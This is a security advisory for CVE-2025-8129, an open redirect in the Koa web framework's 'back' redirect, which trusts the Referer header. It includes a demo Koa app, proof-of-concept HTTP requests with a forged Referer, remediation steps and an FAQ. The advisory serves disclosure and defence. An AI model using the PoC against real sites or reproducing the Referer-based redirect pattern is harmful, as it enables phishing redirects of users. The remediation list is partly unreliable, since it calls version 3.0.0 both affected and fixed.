CVE-2025-8129: KoaJS Koa HTTP Header response.js back redirect
Summary In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.
Details on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:
response.redirect(url, [alt]) Performs a [302] redirect to url. The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.
ctx.redirect('back'); ctx.redirect('back', '/index.html'); ctx.redirect('/login'); ctx.redirect('http://google.com');
however, the "back" method is insecure:
- https://github.com/koajs/koa/blob/master/lib/response.js#L322 back (alt) { const url = this.ctx.get('Referrer') || alt || '/' this.redirect(url) }, Referrer Header is User-Controlled.
PoC
there is a demo for POC: const Koa = require('koa') const serve = require('koa-static') const Router = require('@koa/router') const path = require('path')
const app = new Koa() const router = new Router()
// Serve static files from the public directory app.use(serve(path.join(dirname, 'public')))
// Define routes router.get('/test', ctx => { ctx.redirect('back', '/index1.html') })
router.get('/test2', ctx => { ctx.redirect('back') })
router.get('/', ctx => { ctx.body = 'Welcome to the home page! Try accessing /test, /test2' })
app.use(router.routes()) app.use(router.allowedMethods())
const port = 3000 app.listen(port, () => { console.log(Server running at http://localhost:${port}) }) Proof Of Concept GET /test HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close
GET /test2 HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close !image
!image
Impact https://learn.snyk.io/lesson/open-redirect/
Other sources
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-jgmv-j7ww-jx2x. This link is maintained to preserve external references.
Original Description A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/koato a version that resolves this vulnerability.Fixed in 3.0.1 - Upgrade
Upgrade
npm/koato a version that resolves this vulnerability.Fixed in 2.16.2 - Upgrade
Upgrade
KoaJS Koato a version that resolves this vulnerability.Fixed in 3.0.0 - Configuration
Avoid calling ctx.redirect('back') / ctx.redirect('back', alt) in routes. Do not use the user-controllable Referrer header as a redirect target; redirect to a known, fixed path such as '/login' or another application-defined URL.
Koa response.redirect(url, [alt]) back redirect implementation (Referrer header usage) = Use a fixed redirect target instead of relying on user-controlled Referrer/back - Compensating control
Restrict open-redirect impact by validating redirect destinations server-side: allow only internal, expected paths (e.g., '/login', '/index.html') and block/ignore user-supplied Referrer-based redirect targets.
Event History
Frequently Asked Questions
What is the severity of CVE-2025-8129?
CVE-2025-8129 is classified as a problematic vulnerability.
What type of vulnerability is CVE-2025-8129?
CVE-2025-8129 is an open redirect vulnerability found in the KoaJS Koa library.
How do I fix CVE-2025-8129?
To fix CVE-2025-8129, update KoaJS Koa to a version beyond 3.0.0.
What effect does CVE-2025-8129 have on applications?
CVE-2025-8129 allows attackers to manipulate the Referrer argument leading to potential redirection attacks.
Which versions of KoaJS Koa are affected by CVE-2025-8129?
CVE-2025-8129 affects KoaJS Koa versions up to and including 3.0.0.